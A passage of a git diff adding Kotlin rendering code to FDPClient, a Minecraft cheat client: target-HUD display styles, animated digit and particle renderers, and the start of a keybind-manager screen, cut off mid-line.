b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/SimpleTH.kt @@ -0,0 +1,38 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.skin +import net.ccbluex.liquidbounce.utils.render.BlendUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.EntityLivingBase +import java.awt.Color + +class SimpleTH(inst: Targets) : TargetStyle("Simple", inst, true) { + override fun drawTarget(entity: EntityLivingBase) { + val fonts = Fonts.minecraftFont + val leagth = fonts.getStringWidth(entity.name) + updateAnim(entity.health) + RenderUtils.drawRect(0F, 0F, 40F + leagth, 24F, Color(0,0,0,fadeAlpha(180))) + RenderUtils.drawRect(28F, 20F, 28F + ((leagth + 6F) * (easingHealth / entity.maxHealth)), 21F, ColorUtils.reAlpha(BlendUtils.getHealthColor(entity.health, entity.maxHealth), fadeAlpha(255)).rgb) + GlStateManager.enableBlend() + fonts.drawString(entity.name, 31F, 5F, Color(255,255,255,fadeAlpha(255)).rgb, true) + RenderUtils.drawHead(entity.skin, 2, 2, 20,20, Color(255,255,255,fadeAlpha(255)).rgb) + GlStateManager.disableAlpha() + GlStateManager.disableBlend() + } + + override fun getBorder(entity: EntityLivingBase?): Border { + val entityNameWidth = if (entity != null) Fonts.minecraftFont.getStringWidth(entity.name) else 0 + return Border(0F, 0F, 40F + entityNameWidth, 24F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/SimplicityTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/SimplicityTH.kt new file mode 100644 index 0000000..716e3d6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/SimplicityTH.kt @@ -0,0 +1,59 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.PlayerUtils +import net.ccbluex.liquidbounce.utils.render.Colors +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.EntityLivingBase +import java.awt.Color +import kotlin.math.pow + +class SimplicityTH(inst: Targets) : TargetStyle("Simplicity", inst, true) { + + override fun drawTarget(entity: EntityLivingBase) { + updateAnim(entity.health) + GlStateManager.pushMatrix() + var width = 100.0 + width = PlayerUtils.getIncremental(width, -50.0) + Fonts.font35.drawStringWithShadow("\u00a7l" + entity.name, (38).toFloat(), 2.0f, -1) + if (width < 80.0) { + width = 80.0 + } + if (width > 80.0) { + width = 80.0 + } + RenderUtils.drawGradientSideways( + 37.5, + 11.toDouble(), + 37.5 + (easingHealth / entity.maxHealth) * width, + (19).toDouble(), + Color(100, 255, 255,255).rgb, + Color(255, 100, 255, 255).rgb + ) + RenderUtils.rectangleBorderedx( + 37.0, + 10.5, + 38.0 + (easingHealth / entity.maxHealth) * width, + 19.5, + 0.5, + Colors.getColor(0, 0), + Colors.getColor(0) + ) + easingHealth += ((entity.health - easingHealth) / 2.0F.pow(10.0F - targetInstance.fadeSpeed.get())) * RenderUtils.deltaTime + GlStateManager.resetColor() + GlStateManager.popMatrix() + } + + override fun getBorder(entity: EntityLivingBase?): Border { + return Border(37F, 0F, 118F, 20F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/SlowlyTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/SlowlyTH.kt new file mode 100644 index 0000000..40f47f0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/SlowlyTH.kt @@ -0,0 +1,63 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.entity.EntityLivingBase + +class SlowlyTH(inst: Targets) : TargetStyle("Slowly", inst, true) { + + override fun drawTarget(entity: EntityLivingBase) { + val font = Fonts.minecraftFont + val healthString = "${decimalFormat2.format(entity.health)} ❤" + val length = 60.coerceAtLeast(font.getStringWidth(entity.name)).coerceAtLeast(font.getStringWidth(healthString)) + .toFloat() + 10F + + updateAnim(entity.health) + + RenderUtils.drawRect(0F, 0F, 32F + length, 36F, targetInstance.bgColor.rgb) + + if (mc.netHandler.getPlayerInfo(entity.uniqueID) != null) + drawHead( + mc.netHandler.getPlayerInfo(entity.uniqueID).locationSkin, + 1, + 1, + 30, + 30, + (1F - targetInstance.getFadeProgress()).toInt().toFloat() + ) + + font.drawStringWithShadow(entity.name, 33F, 2F, getColor(-1).rgb) + font.drawStringWithShadow( + healthString, + length + 31F - font.getStringWidth(healthString).toFloat(), + 22F, + targetInstance.barColor.rgb + ) + + RenderUtils.drawRect( + 0F, + 32F, + (easingHealth / entity.maxHealth).coerceIn(0F, entity.maxHealth) * (length + 32F), + 36F, + targetInstance.barColor.rgb + ) + } + + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(0F, 0F, 102F, 36F) + val font = Fonts.minecraftFont + val healthString = "${decimalFormat2.format(entity.health)} ❤" + val length = 60.coerceAtLeast(font.getStringWidth(entity.name)).coerceAtLeast(font.getStringWidth(healthString)) + .toFloat() + 10F + return Border(0F, 0F, 32F + length, 36F) + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/Tenacity5TH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/Tenacity5TH.kt new file mode 100644 index 0000000..4f22791 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/Tenacity5TH.kt @@ -0,0 +1,67 @@ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox +import net.ccbluex.liquidbounce.utils.extensions.hurtPercent +import net.ccbluex.liquidbounce.utils.extensions.skin +import net.ccbluex.liquidbounce.utils.render.* +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.roundToInt + + +class Tenacity5TH(inst: Targets) : TargetStyle("Tenacity5", inst, true) { + + override fun drawTarget(entity: EntityLivingBase) { + val hurtPercent = entity.hurtPercent + val scale = if (hurtPercent == 0f) { 1f } else if (hurtPercent < 0.5f) { + 1 - (0.2f * hurtPercent * 2) + } else { + 0.8f + (0.2f * (hurtPercent - 0.5f) * 2) + } + val additionalWidth = Fonts.fontBold40.getStringWidth(entity.name).coerceAtLeast(75) + + //colours + val c1 = ColorUtils.interpolateColorsBackAndForth(17, 0, Color(230, 140, 255, 205), Color(101, 208, 252, 205), true) + val c2 = ColorUtils.interpolateColorsBackAndForth(17, 90, Color(230, 140, 255, 205), Color(101, 208, 252, 205), true) + val c3 = ColorUtils.interpolateColorsBackAndForth(17, 270, Color(230, 140, 255, 205), Color(101, 208, 252, 205), true) + val c4 = ColorUtils.interpolateColorsBackAndForth(17, 180, Color(230, 140, 255, 205), Color(101, 208, 252, 205), true) + + + // background + RoundedUtil.drawGradientRound(0f, 5f, 59f + additionalWidth.toFloat(), 45f, 6F, c1, c2, c3, c4) + + // circle player avatar + GL11.glColor4f(1f, 1f, 1f, 1f) + GL11.glPushMatrix() + GL11.glTranslatef(5f, 5f, 0f) + mc.textureManager.bindTexture(entity.skin) + RenderUtils.drawScaledCustomSizeModalCircle(5, 7, 8f, 8f, 8, 8, 30, 30, 64f, 64f) + RenderUtils.drawScaledCustomSizeModalCircle(5, 7, 40f, 8f, 8, 8, 30, 30, 64f, 64f) + GL11.glPopMatrix() + + // text + Fonts.fontBold40.drawCenteredString(entity.name, 47 + (additionalWidth / 2f), 1f + Fonts.fontBold40.FONT_HEIGHT, Color.WHITE.rgb, false) + val infoStr = ((((easingHP / entity.maxHealth) * 100).roundToInt()).toString() + "% - " + ((mc.thePlayer.getDistanceToEntityBox(entity)).roundToInt()).toString() + "M") + Fonts.SF.drawString(infoStr, 47f + ((additionalWidth - Fonts.SF.getStringWidth(infoStr)) / 2f), 45f - (Fonts.SF.FONT_HEIGHT), Color.WHITE.rgb, false) + + //hp bar + RenderUtils.drawRoundedCornerRect(46f, 24f, 46f + additionalWidth, 29f, 2.5f, Color(60, 60, 60, 130).rgb) + RenderUtils.drawRoundedCornerRect(46f, 24f, 46f + (easingHP / entity.maxHealth) * additionalWidth, 29f, 2.5f, Color(240, 240, 240, 250).rgb) + } + + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(-2F, 3F, 62F + mc.thePlayer.name.let(Fonts.font40::getStringWidth).coerceAtLeast(75).toFloat(), 50F) + + val nameWidth = mc.fontRendererObj.getStringWidth(entity.name.toString()) + val maxWidth = (62F + nameWidth).coerceAtLeast(38F + Fonts.font40.getStringWidth(entity.name)) + + return Border(-2F, 3F, maxWidth, 50F) + } + + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/VapeTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/VapeTH.kt new file mode 100644 index 0000000..a6af384 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/VapeTH.kt @@ -0,0 +1,56 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.RoundedUtil +import net.minecraft.entity.EntityLivingBase +import java.awt.Color + +class VapeTH(inst: Targets) : TargetStyle("Vape", inst, true) { + + override fun drawTarget(entity: EntityLivingBase) { + RenderUtils.drawEntityOnScreen(16, 55, 25, entity) + + Fonts.fontBold35.drawString(entity.name, 36.5f, 12.6f / 2f - Fonts.fontBold35.height / 2f, -1) + + val targetHealth = entity.health + val targetMaxHealth = entity.maxHealth + val targetAbsorptionAmount = entity.absorptionAmount + val targetHealthDWithAbs = targetHealth / (targetMaxHealth + targetAbsorptionAmount).coerceAtLeast(1.0f) + val targetHealthD = targetHealth / targetMaxHealth.coerceAtLeast(1.0f) + val color: Color = ColorUtils.interpolateColorC(Color.RED, Color(5, 134, 105), targetHealthD)!! + + RoundedUtil.drawRound(37f, 12.6f, 68f, 2.9f, 1f, Color(43, 42, 43)) + RoundedUtil.drawRound(37f, 12.6f, 68f * targetHealthDWithAbs, 2.9f, 1f, color) + if (targetAbsorptionAmount > 0) { + val absLength = 49f * (targetAbsorptionAmount / (targetMaxHealth + targetAbsorptionAmount)) + RoundedUtil.drawRound(37f + 68f * targetHealthDWithAbs, + 12.6f, + absLength, + 2.9f, + 1f, + Color(0xFFAA00)) + } + + val hp = (targetHealth + targetAbsorptionAmount).toString() + " HP" + Fonts.fontBold35.drawString(hp, + 105f - Fonts.fontBold35.getStringWidth(hp), + (12.6f - Fonts.fontBold35.height) / 2f, + -1) + } + + override fun getBorder(entity: EntityLivingBase?): Border { + val entityNameWidth = if (entity != null) Fonts.fontBold35.getStringWidth(entity.name) else 0 + return Border(0F, 0F, 110F + entityNameWidth, 40F) + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/utils/CharRenderer.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/utils/CharRenderer.kt new file mode 100644 index 0000000..438adf9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/utils/CharRenderer.kt @@ -0,0 +1,101 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.utils + +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.AnimationUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.gui.ScaledResolution +import org.lwjgl.opengl.GL11 +import java.text.DecimalFormat +import java.text.DecimalFormatSymbols +import java.util.* + +class CharRenderer(val small: Boolean) : MinecraftInstance() { + var moveY = FloatArray(20) + var moveX = FloatArray(20) + + private val numberList = listOf("0", "1", "2", "3", "4", "5", "6", "7", "8", "9", ".") + + private val deFormat = DecimalFormat("##0.00", DecimalFormatSymbols(Locale.ENGLISH)) + + init { + for (i in 0..19) { + moveX[i] = 0F + moveY[i] = 0F + } + } + + fun renderChar( + number: Float, + orgX: Float, + orgY: Float, + initX: Float, + initY: Float, + scaleX: Float, + scaleY: Float, + shadow: Boolean, + fontSpeed: Float, + color: Int + ): Float { + val reFormat = deFormat.format(number.toDouble()) // string + val fontRend = if (small) Fonts.font40 else Fonts.font72 + val delta = RenderUtils.deltaTime + val scaledRes = ScaledResolution(mc) + + var indexX = 0 + var indexY = 0 + var animX = 0F + + val cutY = initY + fontRend.FONT_HEIGHT.toFloat() * (3F / 4F) + + GL11.glEnable(3089) + RenderUtils.makeScissorBox( + 0F, + orgY + initY - 4F * scaleY, + scaledRes.scaledWidth.toFloat(), + orgY + cutY - 4F * scaleY + ) + for (char in reFormat.toCharArray()) { + moveX[indexX] = AnimationUtils.animate(animX, moveX[indexX], fontSpeed * 0.025F * delta) + animX = moveX[indexX] + + val pos = numberList.indexOf("$char") + val expectAnim = (fontRend.FONT_HEIGHT.toFloat() + 2F) * pos + val expectAnimMin = (fontRend.FONT_HEIGHT.toFloat() + 2F) * (pos - 2) + val expectAnimMax = (fontRend.FONT_HEIGHT.toFloat() + 2F) * (pos + 2) + + if (pos >= 0) { + moveY[indexY] = AnimationUtils.animate(expectAnim, moveY[indexY], fontSpeed * 0.02F * delta) + + GL11.glTranslatef(0F, initY - moveY[indexY], 0F) + numberList.forEachIndexed { index, num -> + if ((fontRend.FONT_HEIGHT.toFloat() + 2F) * index >= expectAnimMin && (fontRend.FONT_HEIGHT.toFloat() + 2F) * index <= expectAnimMax) { + fontRend.drawString( + num, + initX + moveX[indexX], + (fontRend.FONT_HEIGHT.toFloat() + 2F) * index, + color, + shadow + ) + } + } + GL11.glTranslatef(0F, -initY + moveY[indexY], 0F) + } else { + moveY[indexY] = 0F + fontRend.drawString("$char", initX + moveX[indexX], initY, color, shadow) + } + + animX += fontRend.getStringWidth("$char") + indexX++ + indexY++ + } + GL11.glDisable(3089) + + return animX + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/utils/Particle.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/utils/Particle.kt new file mode 100644 index 0000000..4bfe011 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/utils/Particle.kt @@ -0,0 +1,81 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.utils + +import net.ccbluex.liquidbounce.utils.render.EaseUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import org.lwjgl.opengl.GL11 +import java.awt.Color +class Particle(var color: Color, var distX: Float, var distY: Float, var radius: Float, var drawType: ShapeType = ShapeType.SOLID_CIRCLE) { + var alpha = 1F + var progress = 0.0 + var rotate = 0F + fun render(x: Float, y: Float, fade: Boolean, speed: Float, fadeSpeed: Float, canRotate: Boolean = false) { + if (progress >= 1.0) { + progress = 1.0 + if (fade) alpha -= (fadeSpeed * 0.02F * RenderUtils.deltaTime) + if (alpha < 0F) alpha = 0F + } else + progress += (speed * 0.025F * RenderUtils.deltaTime).toDouble() + + if (alpha <= 0F) return + + val reColored = Color(color.red / 255.0F, color.green / 255.0F, color.blue / 255.0F, alpha) + val easeOut = EaseUtils.easeOutQuart(progress).toFloat() + + if (canRotate && drawType != ShapeType.SOLID_CIRCLE && drawType != ShapeType.CIRCLE) { + rotate += 10F * (1F - easeOut) + GL11.glPushMatrix() + GL11.glTranslatef(x + distX * easeOut, y + distY * easeOut, 0F) + GL11.glPushMatrix() + GL11.glRotatef(rotate, 0F, 0F, 1F) + drawType.performRendering(0F, 0F, radius, reColored) + GL11.glPopMatrix() + GL11.glPopMatrix() + } else + drawType.performRendering(x + distX * easeOut, y + distY * easeOut, radius, reColored) + } +} + +enum class ShapeType(val typeName: String) { + SOLID_CIRCLE("c_solid") { + override fun performRendering(x: Float, y: Float, rad: Float, col: Color) { + RenderUtils.drawFilledCircle(x, y, rad, col) + } + }, + CIRCLE("c_outline") { + override fun performRendering(x: Float, y: Float, rad: Float, col: Color) { + RenderUtils.drawCircle(x, y, rad, 0.5F, 0, 360, col) + } + }, + SOLID_RECT("r_solid") { + override fun performRendering(x: Float, y: Float, rad: Float, col: Color) { + RenderUtils.drawRect(x - rad / 2F, y - rad / 2F, x + rad / 2F, y + rad / 2F, col.rgb) + } + }, + RECT("r_outline") { + override fun performRendering(x: Float, y: Float, rad: Float, col: Color) { + RenderUtils.drawBorder(x - rad / 2F, y - rad / 2F, x + rad / 2F, y + rad / 2F, 0.5F, col.rgb) + } + }, + SOLID_TRIANGLE("t_solid") { + override fun performRendering(x: Float, y: Float, rad: Float, col: Color) { + RenderUtils.drawTriAngle(x, y, rad, 3F, col, true) + } + }, + TRIANGLE("t_outline") { + override fun performRendering(x: Float, y: Float, rad: Float, col: Color) { + RenderUtils.drawTriAngle(x, y, rad, 3F, col, false) + } + }; + abstract fun performRendering(x: Float, y: Float, rad: Float, col: Color) + + companion object { + fun getTypeFromName(name: String): ShapeType? { + return values().find { it.typeName.equals(name, true) } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/keybind/KeyBindManager.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/keybind/KeyBindManager.kt new file mode 100644 index 0000000..da40da9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/keybind/KeyBindManager.kt @@ -0,0 +1,210 @@ +package net.ccbluex.liquidbounce.ui.client.keybind + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.font.FontLoaders +import net.ccbluex.liquidbounce.ui.client.other.PopUI +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.gui.GuiScreen +import org.lwjgl.input.Keyboard +import org.lwjgl.input.Mouse +import org.lwjgl.opengl.GL11 +import java.awt.Color + +/** + * @author liulihaocai + * FDPClient + */ +class KeyBindManager : GuiScreen() { + private val baseHeight = 205 + private val baseWidth = 500 + + private val keys = ArrayList<KeyInfo>() + var nowDisplayKey: KeyInfo? = null + var popUI: PopUI? = null + + override fun initGui() { + nowDisplayKey = null + popUI = null + updateAllKeys() + } + + fun updateAllKeys() { + // use async because this may a bit slow + Thread { + for (key in keys) { + key.update() + } + }.start() + } + + override fun drawScreen(mouseX: Int, mouseY: Int, partialTicks: Float) { + drawDefaultBackground() + + val mcWidth = ((width * 0.8f) - (width * 0.2f)).toInt() + + GL11.glPushMatrix() + +// GL11.glPushMatrix() + GL11.glScalef(2f, 2f, 2f) + FontLoaders.C18.DisplayFonts("%ui.keybind.title%", width * 0.21f * 0.5f, height * 0.2f * 0.5f, Color.WHITE.rgb, FontLoaders.C18) +// GL11.glPopMatrix() + GL11.glScalef(0.5f, 0.5f, 0.5f) + + GL11.glTranslatef(width * 0.2f, height * 0.2f + FontLoaders.C18.height * 2.3f, 0F) + val scale = mcWidth / baseWidth.toFloat() + // It's easier to use scale + GL11.glScalef(scale, scale, scale) + + RenderUtils.drawRect(0F, 0F, baseWidth.toFloat(), baseHeight.toFloat(), Color.WHITE.rgb) + + for (key in keys) { + key.render() + } + + // render key tab + if (nowDisplayKey != null) { + nowDisplayKey!!.renderTab() + } + + GL11.glPopMatrix() + + // mouse wheel sliding + if (Mouse.hasWheel()) { + val wheel = Mouse.getDWheel() + if (wheel != 0) { // Not scroll wheel, just normal mouse movement + if (popUI != null) { + popUI!!.onStroll(width, height, mouseX, mouseY, wheel) + } else if (nowDisplayKey != null) { + val scaledMouseX = (mouseX - width * 0.2f) / scale + val scaledMouseY = (mouseY - (height * 0.2f + FontLoaders.C18.height * 2.3f)) / scale + + nowDisplayKey!!.stroll(scaledMouseX, scaledMouseY, wheel) + } + } + } + + // Rendering function selection popup + popUI?.onRender(width, height) + } + + override fun mouseClicked(mouseX: Int, mouseY: Int, mouseButton: Int) { + if (popUI == null) { + val scale = ((width * 0.8f) - (width * 0.2f)) / baseWidth + val scaledMouseX = (mouseX - width * 0.2f) / scale + val scaledMouseY = (mouseY - (height * 0.2f + FontLoaders.C18.height * 2.3f)) / scale + + if (nowDisplayKey == null) { + // click out of area + if (scaledMouseX < 0 || scaledMouseY < 0 || scaledMouseX > baseWidth || scaledMouseY > baseHeight) { + mc.displayGuiScreen(null) + return + } + + // process click + for (key in keys) { + if (scaledMouseX > key.posX && scaledMouseY > key.posY && + scaledMouseX < (key.posX + key.width) && scaledMouseY < (key.posY + key.height) + ) { + key.click(scaledMouseX, scaledMouseY) + break + } + } + } else { + nowDisplayKey!!.click(scaledMouseX, scaledMouseY) + } + } else { + popUI!!.onClick(width, height, mouseX, mouseY) + } + } + + override fun onGuiClosed() { + // save keybind data + FDPClient.configManager.smartSave() + } + + override fun keyTyped(typedChar: Char, keyCode: Int) { + if (Keyboard.KEY_ESCAPE == keyCode) { + if (popUI != null) { + popUI = null + } else if (nowDisplayKey != null) { + nowDisplayKey = null + } else { + mc.displayGuiScreen(null) + } + return + } + + popUI?.onKey(typedChar, keyCode) + } + + init { + // line1 + keys.add(KeyInfo(12F, 12F, 27F, 32F, Keyboard.KEY_GRAVE, "`")) + keys.add(KeyInfo(12F + 32F * 1, 12F, 27F, 32F, Keyboard.KEY_1, "1")) + keys.add(KeyInfo(12F + 32F * 2, 12F, 27F, 32F, Keyboard.KEY_2, "2")) + keys.add(KeyInfo(12F + 32F * 3, 12F, 27F, 32F, Keyboard.KEY_3, "3")) + keys.add(KeyInfo(12F + 32F * 4, 12F, 27F, 32F, Keyboard.KEY_4, "4")) + keys.add(KeyInfo(12F + 32F * 5, 12F, 27F, 32F, Keyboard.KEY_5, "5")) + keys.add(KeyInfo(12F + 32F * 6, 12F, 27F, 32F, Keyboard.KEY_6, "6")) + keys.add(KeyInfo(12F + 32F * 7, 12F, 27F, 32F, Keyboard.KEY_7, "7")) + keys.add(KeyInfo(12F + 32F * 8, 12F, 27F, 32F, Keyboard.KEY_8, "8")) + keys.add(KeyInfo(12F + 32F * 9, 12F, 27F, 32F, Keyboard.KEY_9, "9")) + keys.add(KeyInfo(12F + 32F * 10, 12F, 27F, 32F, Keyboard.KEY_0, "0")) + keys.add(KeyInfo(12F + 32F * 11, 12F, 27F, 32F, Keyboard.KEY_MINUS, "-")) + keys.add(KeyInfo(12F + 32F * 12, 12F, 27F, 32F, Keyboard.KEY_EQUALS, "=")) + keys.add(KeyInfo(12F + 32F * 13, 12F, 27F + 32F, 32F, Keyboard.KEY_BACK, "Backspace")) + // line2 + keys.add(KeyInfo(12F, 12F + 37F * 1, 32F * 1.5F - 5F, 32F, Keyboard.KEY_TAB, "Tab")) + keys.add(KeyInfo(12F + 32F * 1.5F, 12F + 37F * 1, 27F, 32F, Keyboard.KEY_Q, "Q")) + keys.add(KeyInfo(12F + 32F * 2.5F, 12F + 37F * 1, 27F, 32F, Keyboard.KEY_W, "W")) + keys.add(KeyInfo(12F + 32F * 3.5F, 12F + 37F * 1, 27F, 32F, Keyboard.KEY_E, "E")) + keys.add(KeyInfo(12F + 32F * 4.5F, 12F + 37F * 1, 27F, 32F, Keyboard.KEY_R, "R")) + keys.add(KeyInfo(12F + 32F * 5.5F, 12F + 37F * 1, 27F, 32F, Keyboard.KEY_T, "T")) + keys.add(KeyInfo(12F + 32F * 6.5F, 12F + 37F * 1, 27F, 32F, Keyboard.KEY_Y, "Y")) + keys.add(KeyInfo(12F + 32F * 7.5F, 12F + 37F * 1, 27F, 32F, Keyboard.KEY_U, "U")) + keys.add(KeyInfo(12F + 32F * 8.5F, 12F + 37F * 1, 27F, 32F, Keyboard.KEY_I, "I")) + keys.add(KeyInfo(12F + 32F * 9.5F, 12F + 37F * 1, 27F, 32F, Keyboard.KEY_O, "O")) + keys.add(KeyInfo(12F + 32F * 10.5F, 12F + 37F * 1, 27F, 32F, Keyboard.KEY_P, "P")) + keys.add(KeyInfo(12F + 32F * 11.5F, 12F + 37F * 1, 27F, 32F, Keyboard.KEY_LBRACKET, "[")) + keys.add(KeyInfo(12F + 32F * 12.5F, 12F + 37F * 1, 27F, 32F, Keyboard.KEY_RBRACKET, "]")) + keys.add(KeyInfo(12F + 32F * 13.5F, 12F + 37F * 1, 32F * 1.5F - 5F, 32F, Keyboard.KEY_BACKSLASH, "\\")) + // line3 + keys.add(KeyInfo(12F, 12F + 37F * 2, 32F * 2F - 5F, 32F, Keyboard.KEY_TAB, "Caps Lock")) + keys.add(KeyInfo(12F + 32F * 2F, 12F + 37F * 2, 27F, 32F, Keyboard.KEY_A, "A")) + keys.add(KeyInfo(12F + 32F * 3F, 12F + 37F * 2, 27F, 32F, Keyboard.KEY_S, "S")) + keys.add(KeyInfo(12F + 32F * 4F, 12F + 37F * 2, 27F, 32F, Keyboard.KEY_D, "D")) + keys.add(KeyInfo(12F + 32F * 5F, 12F + 37F * 2, 27F, 32F, Keyboard.KEY_F, "F")) + keys.add(KeyInfo(12F + 32F * 6F, 12F + 37F * 2, 27F, 32F, Keyboard.KEY_G, "G")) + keys.add(KeyInfo(12F + 32F * 7F, 12F + 37F * 2, 27F, 32F, Keyboard.KEY_H, "H")) + keys.add(KeyInfo(12F + 32F * 8F, 12F + 37F * 2, 27F, 32F, Keyboard.KEY_J, "J")) + keys.add(KeyInfo(12F + 32F * 9F, 12F + 37F * 2, 27F, 32F, Keyboard.KEY_K, "K")) + keys.add(KeyInfo(12F + 32F * 10F, 12F + 37F * 2, 27F, 32F, Keyboard.KEY_L, "L")) + keys.add(KeyInfo(12F + 32F * 11F, 12F + 37F * 2, 27F, 32F, Keyboard.KEY_SEMICOLON, ";")) + keys.add(KeyInfo(12F + 32F * 12F, 12F + 37F * 2, 27F, 32F, Keyboard.KEY_APOSTROPHE, "'")) + keys.add(KeyInfo(12F + 32F * 13F, 12F + 37F * 2, 27F + 32F, 32F, Keyboard.KEY_RETURN, "Enter")) + // line4 + keys.add(KeyInfo(12F, 12F + 37F * 3, 32F * 2.5F - 5F, 32F, Keyboard.KEY_LSHIFT, "Shift", "LShift")) + keys.add(KeyInfo(12F + 32F * 2.5F, 12F + 37F * 3, 27F, 32F, Keyboard.KEY_Z, "Z")) + keys.add(KeyInfo(12F + 32F * 3.5F, 12F + 37F * 3, 27F, 32F, Keyboard.KEY_X, "X")) + keys.add(KeyInfo(12F + 32F * 4.5F, 12F + 37F * 3, 27F, 32F, Keyboard.KEY_C, "C")) + keys.add(KeyInfo(12F + 32F * 5.5F, 12F + 37F * 3, 27F, 32F, Keyboard.KEY_V, "V")) + keys.add(KeyInfo(12F + 32F * 6.5F, 12F + 37F * 3, 27F, 32F, Keyboard.KEY_B, "B")) + keys.add(KeyInfo(12F + 32F * 7.5F, 12F + 37F * 3, 27F, 32F, Keyboard.KEY_N, "N")) + keys.add(KeyInfo(12F + 32F * 8.5F, 12F + 37F * 3, 27F, 32F, Keyboard.KEY_M, "M")) + keys.add(KeyInfo(12F + 32F * 9.5F, 12F + 37F * 3, 27F, 